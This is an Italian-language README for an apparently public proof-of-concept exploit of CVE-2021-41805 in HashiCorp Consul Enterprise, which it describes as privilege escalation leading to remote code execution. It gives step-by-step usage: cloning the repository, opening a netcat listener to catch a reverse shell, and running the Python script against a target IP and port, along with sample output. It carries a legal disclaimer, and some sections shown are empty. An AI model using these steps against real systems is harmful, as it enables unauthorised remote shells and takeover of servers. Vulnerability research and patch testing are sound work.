
Una prova di concetto per CVE-2021-41805, una vulnerabilità in HashiCorp Consul Enterprise che consente l'esecuzione remota di codice (RCE) con privilegi elevati.
[!WARNING] DISCLAIMER LEGALE: Questo strumento è ESCLUSIVAMENTE PER SCOPI EDUCATIVI! L'uso di questo strumento per attaccare obiettivi senza previo consenso reciproco è ILLEGALE. È responsabilità dell'utente rispettare tutte le leggi applicabili durante l'uso di questo strumento. Lo sviluppatore di questo strumento non si assume alcuna responsabilità e non è responsabile per qualsiasi uso improprio o danno causato da questo programma.
Un token ACL (con le autorizzazioni predefinite operator:write) in un namespace può essere utilizzato per un'escalation di privilegi non intenzionale in un namespace diverso. Questo può essere sfruttato per ottenere Remote Code Execution (RCE) con privilegi elevati.
git clone https://github.com/acfirthh/CVE-2021-41805.gitcd CVE-2021-41805nc -nvlp <LISTENER_PORT>python3 CVE-2021-41805.py -r <TARGET_IP> -rp <TARGET_PORT> -l <LISTENER_IP> -lp <LISTENER_PORT> [OPTIONAL: -t <ACL token> -v (verbose) -s (use SSL)]
Eseguendo l'exploit con gli argomenti di base: -r [TARGET_IP], -rp [TARGET_PORT], -l [LISTENER_IP], -lp [LISTENER_PORT] (-t [ACL_TOKEN], -s [Usa SSL]) si otterrà un output simile a:
[*] The PUT request was made successfully. Check your listener...
Eseguendo l'exploit con gli argomenti di base più -v [VERBOSE] si otterrà un output dettagliato:

Se si verifica un errore durante l'esecuzione dell'exploit e viene specificato l'argomento -v, l'output sarà simile a:
